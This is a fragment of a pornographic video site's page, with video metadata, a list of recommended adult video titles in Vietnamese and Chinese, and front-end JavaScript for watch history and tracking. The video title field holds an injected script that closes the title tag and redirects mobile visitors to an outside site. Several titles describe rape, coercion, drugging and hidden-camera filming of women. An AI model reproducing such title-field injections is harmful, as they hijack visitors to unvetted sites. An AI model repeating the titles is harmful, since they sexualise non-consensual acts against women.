</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>2 Bước NTR 1. Một người đàn ông bị lợi dụng điểm yếu buộc phải cho xem video của mình và bạn gái. 2. Sau đó, tôi cưỡng hiếp cô ấy, khiến Xiaochun SOD
2 Bước NTR 1. Một người đàn ông bị lợi dụng điểm yếu buộc phải cho xem video của mình và bạn gái. 2. Sau đó, tôi cưỡng hiếp cô ấy, khiến Xiaochun SOD","site_id":0,"video_url":"https://2606.senlin2026.com/20260708/beUCofsR/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvM2QyZWUxM2NkNWRhODZmYWNlZDg2ZDZlODBlMDBjY2YuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["Bạn gái","nắm lấy","triển lãm","Lực lượng","Phim ảnh","Bị ép","người đàn ông","sự yếu đuối","bạn gái","Sở hữu","Koharu","một"],"site_url":"277350","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["亚洲有码"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvM2QyZWUxM2NkNWRhODZmYWNlZDg2ZDZlODBlMDBjY2YuanBn.cache","maker":"","table_name":"videos_senlinzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"2步骤NTR 1. 一个抓住了自己弱点的男人被迫展示自己和女友的影片。 2. 之后,我用力干她,让 小春 SOD","s_keywords":"2步骤NTR 1. 一个抓住了自己弱点的男人被迫展示自己和女友的影片。 2. 之后,我用力干她,让 小春 SOD","s_description":"2 Bước NTR 1. Một người đàn ông bị lợi dụng điểm yếu buộc phải cho xem video của mình và bạn gái. 2. Sau đó, tôi cưỡng hiếp cô ấy, khiến Xiaochun SOD","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2JmZTg4NzYyYjFmMmQ1OTRhNmJkMTc5MWVmNDJmYWQuanBn.cache","vod_id":19147914,"title":"Hãy trải qua một đêm nồng cháy và dâm đãng với một cô gái thôn quê ngây thơ, đẫm mồ hôi và dịch tiết tình ái.","lastmod":"2025-03-30","duration":"1:50:55","url":"/play/19147914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDY5NzUyZWVmZGFkNTI4ZjFmY2ZmNjdlZjRmM2VjODYuanBn.cache","vod_id":19133823,"title":"Chị dâu: Bị ép sống chung một mái nhà, phải leo trèo vào ban đêm!","lastmod":"2025-03-29","duration":"2:29:37","url":"/play/19133823.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNWM0OTJjMjFhNDZmOTYwYmUyY2M3MmYyMzhlMjY0MjAuanBn.cache","vod_id":19048078,"title":"BTH-024 Người đàn ông nuốt chửng phụ nữ và những hình thù giống ngựa - Nishina Momoka","lastmod":"2025-03-29","duration":"0:31:50","url":"/play/19048078.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmQ4MTFlMTU3OGU2NGQ1ZDczMDlmYmQyZDE4YzVhNTguanBn.cache","vod_id":19128767,"title":"REXD-487 Tôi rất vui vì bạn là người tốt bụng... \"Bạn nên gọi cho mẹ bạn.\" Con gái bạn đâu...?-cd1","lastmod":"2025-03-29","duration":"2:39:56","url":"/play/19128767.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZGYzOWY4MjkwMDNkZDU0ODEyMzlmMWRlNGVjZDEzYTguanBn.cache","vod_id":19102018,"title":"[HD Chinese] Họ hôn nhau mỗi khi ánh mắt chạm nhau. Một mối quan hệ nồng nhiệt, phi lý với bạn gái từ câu lạc bộ thể thao, người vừa trở về từ trại huấn luyện, dẫn đến việc họ sống chung.","lastmod":"2025-03-29","duration":"2:04:36","url":"/play/19102018.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjE2MjIzODlkNjJjMGQyMWI3MjBiNmY0YmM4MjE4ZTcuanBn.cache","vod_id":19242342,"title":"Đây là tài khoản được sử dụng riêng để quyến rũ và quan hệ tình dục với đồng nghiệp. Mục tiêu hiện tại của tôi là Koharu Miike. Koharu Miike AKDL-351","lastmod":"2026-01-31","duration":"1:11:13","url":"/play/19242342.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzZkNWUzZjIzMjgwMjc1ZTlkZWFjNWUwMjg4OWFhNmMuanBn.cache","vod_id":19109559,"title":"[Nhật ký tình dục] Tôi cho một cô gái có thân hình đầy đặn với vòng ba to uống rượu, và cô ấy toát ra vẻ dâm đãng, nên tôi đã quay phim cảnh cô ấy quan hệ tình dục!","lastmod":"2025-03-29","duration":"2:04:30","url":"/play/19109559.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDM5ZTVmNTliMzliZDZiYjA2MzM1NGU5MzRmYjU3MmEuanBn.cache","vod_id":19055587,"title":"HND-698 Chị gái của bạn gái tôi có bộ ngực khủng!! Cô ấy lén lút quyến rũ tôi, khiến tôi không thể thốt ra lời nào. (Matsumoto Nanami)","lastmod":"2025-03-29","duration":"1:57:19","url":"/play/19055587.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvM2VkMDk3M2E0MmJkM2IwNWQ1NDUyNWY3ZmE3OTQ3ZGQuanBn.cache","vod_id":19231949,"title":"Bạn gái tuyệt vời của tôi đang trải nghiệm cả đau đớn và khoái cảm khi bị một anh chàng cơ bụng sáu múi quan hệ tình dục mạnh mẽ.","lastmod":"2025-12-13","duration":"0:29:48","url":"/play/19231949.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTk1NTgyYzk5NWI1ZGY5NmY4MWFkMWZhYTg2ZDZjMzQuanBn.cache","vod_id":19247402,"title":"Các người mẫu vẽ khỏa thân làm việc theo ca! Và tất cả mọi người trừ người mẫu đều khỏa thân? Sau khi vào trường đại học nghệ thuật, tôi là nam sinh duy nhất. (HUNTC-490)","lastmod":"2026-03-04","duration":"3:10:28","url":"/play/19247402.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzU5ZmNmNDE4ZGE2ZDM4ODE1NjIwNGQ3MmUzY2FlMTUuanBn.cache","vod_id":19034262,"title":"PKPL-007 Video hoàn toàn riêng tư: Một người vợ cao ráo, xinh đẹp, đầy sự minh bạch - Hirai Nori và lần đầu tiên cô ấy ở một mình với Hirai Nori.","lastmod":"2025-03-28","duration":"2:13:35","url":"/play/19034262.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MDMvNWRhNTBkNzY2NjRjYjQwMDI2YTM4ODJlMTMyZDYxMGEuanBn.cache","vod_id":19261714,"title":"Tin nóng hổi đầu năm 2025.2.7: Một trường hợp có thật về bạn gái khoa âm nhạc mất trinh với một sinh viên thể thao; Một sinh viên đại học mất màng trinh sau khi trở lại trường sớm hơn một tuần; Camera giấu kín trong khách sạn: Một loạt sự kiện mất trinh có thật hiếm có trong thế kỷ.","lastmod":"2026-06-02","duration":"1:15:27","url":"/play/19261714.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvOWZjOWM2YjkyOWIyMTc4YWQ3ZDcwZmMxYTMwMDhlZTAuanBn.cache","vod_id":19264963,"title":"Việc các cặp đôi tiết lộ bí mật là không thể chấp nhận được, tôi không muốn bị quay phim, tôi không thể chịu đựng được nữa, tại sao tôi lại không thể chịu đựng được? Tôi đã tắt đèn, bạn gái ngực khủng của tôi hơi ngại ngùng, và tôi không được bảo vệ.","lastmod":"2026-06-22","duration":"0:09:19","url":"/play/19264963.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTcvNDQzMzZmYzIwYWFlMmY0NWM2YzliZGYxMzJjMTVmMjUuanBn.cache","vod_id":19208256,"title":"MVSD552 Cởi nó ra, và cô ấy sẽ có một âm vật khổng lồ! Cô ấy sẽ trở thành một người phụ nữ có dương vật! Người yêu thời thơ ấu của tôi là một người chuyển giới nhạy cảm, dâm đãng, có những cơn cực khoái bất tận!","lastmod":"2025-06-17","duration":"1:56:41","url":"/play/19208256.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmRmYTQyNzg4ZmQyNDAxODY2NTgwMDk2YjZiMDhkZDIuanBn.cache","vod_id":19168779,"title":"Breonna Sparks đã ngoại tình với một người đàn ông đã có vợ.","lastmod":"2025-03-30","duration":"0:11:38","url":"/play/19168779.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2NiODhmMWIxY2ZjYTNmNzIzZjk5NWRiMzBhNjMzN2QuanBn.cache","vod_id":19184563,"title":"YMDD161 Thiên thần không bao giờ từ chối việc cưỡi ngựa chính là cô bạn gái ngoan ngoãn của tôi, Risa Mochizuki.","lastmod":"2025-03-30","duration":"2:34:19","url":"/play/19184563.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvM2QxZWQ3OWY1OThlOGM4NDUxYmYwMjE0ZGUzOTcxZjcuanBn.cache","vod_id":19055568,"title":"HND-681 Sau khi tốt nghiệp trung học, cô ấy lập tức khoác lên mình bộ đồng phục và trải nghiệm lần đầu tiên với một người đàn ông lớn tuổi hơn – Yuzu Futaba","lastmod":"2025-03-29","duration":"1:53:47","url":"/play/19055568.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjMvZmU3YmU4YzJkNGQ2NTc0MjBiYjVhOTY4MzRkNWQzY2EuanBn.cache","vod_id":19198914,"title":"Nếu bạn gái bạn đang giận, hãy tặng cô ấy một món quà và quan hệ tình dục với cô ấy.","lastmod":"2025-04-23","duration":"","url":"/play/19198914.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZWQzYzRmNDg0N2NlNDRkM2YzNTljZTUxNTY3MTc3YzguanBn.cache","vod_id":19052105,"title":"Khi tôi gặp lại mối tình đầu của mình tại buổi họp lớp SW-695-CN, cô ấy đã trở thành một người phụ nữ đã kết hôn và có ham muốn tình dục rất cao! Trong lúc chụp ảnh kỷ niệm, bạn gái tôi trong lúc say xỉn đã nói, \"Em sẽ rất phấn khích khi được quay phim lúc đang làm tình,\" và mời chúng tôi tham gia một cuộc thi quay phim POV! Chúng tôi sắp phát hành những video sex ngoại tình độc quyền ghi lại cảnh hai chúng tôi làm tình trong nhà vệ sinh của một cửa hàng và tại nhà bạn gái tôi.","lastmod":"2025-03-29","duration":"3:34:05","url":"/play/19052105.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjc3MmZiMjQ3ZWIwYzYyZGFhNjMyMzRlNTM4M2Q4ZmUuanBn.cache","vod_id":19132001,"title":"Ưu đãi có thời hạn: 790pt! [Không được phép phân phối] Một người đẹp nghiệp dư ngực khủng hiếm có! Một cô gái ngây thơ chưa từng trải qua những chuyện nghịch ngợm được Denma và Dick huấn luyện bài bản!!","lastmod":"2025-03-29","duration":"0:39:23","url":"/play/19132001.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDUvY2JjZDA2ZTJhZjY5MjdlM2JmYTgzODgwNWU3NWU1MmUuanBn.cache","vod_id":19206304,"title":"JUQ329 Một người phụ nữ đã kết hôn, chỉ được nhận một chiếc chìa khóa dự phòng phòng mình, đã bị một nam sinh viên xâm hại tình dục cho đến khi anh ta tốt nghiệp.","lastmod":"2025-06-05","duration":"2:16:14","url":"/play/19206304.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNGE2ODQxN2M2MmFkYjM4NDU4YzY0OTkwMWRlOTVmMmIuanBn.cache","vod_id":19243705,"title":"Bạn gái tôi nhỏ nhắn nhưng lại có vòng một cực kỳ quyến rũ?!","lastmod":"2026-02-08","duration":"0:13:50","url":"/play/19243705.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmYxNWRkYmU0ODc0NWQzMTJlMjJkNGRjZGRiYzI4OTMuanBn.cache","vod_id":19101628,"title":"TENN-006 Bạn gái Thiên thần Tập 2","lastmod":"2025-03-29","duration":"2:05:00","url":"/play/19101628.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjVkNDg5NDc3YjMxMDJjNDE2ODcyNzdiMTA4NTgzNGQuanBn.cache","vod_id":19040785,"title":"Bạn có thể đặt lịch hẹn quan hệ tình dục trước đến cả năm! Một cô nàng lẳng lơ ngực khủng trượt tuyết cùng hàng ngàn người đàn ông có lịch trình kín mít, và cô ấy sắp ra mắt phim người lớn! Ayami Ishihara","lastmod":"2025-03-28","duration":"2:00:18","url":"/play/19040785.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>2 Bước NTR 1. Một người đàn ông bị lợi dụng điểm yếu buộc phải cho xem video của mình và bạn gái. 2. Sau đó, tôi cưỡng hiếp cô ấy, khiến Xiaochun SOD',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}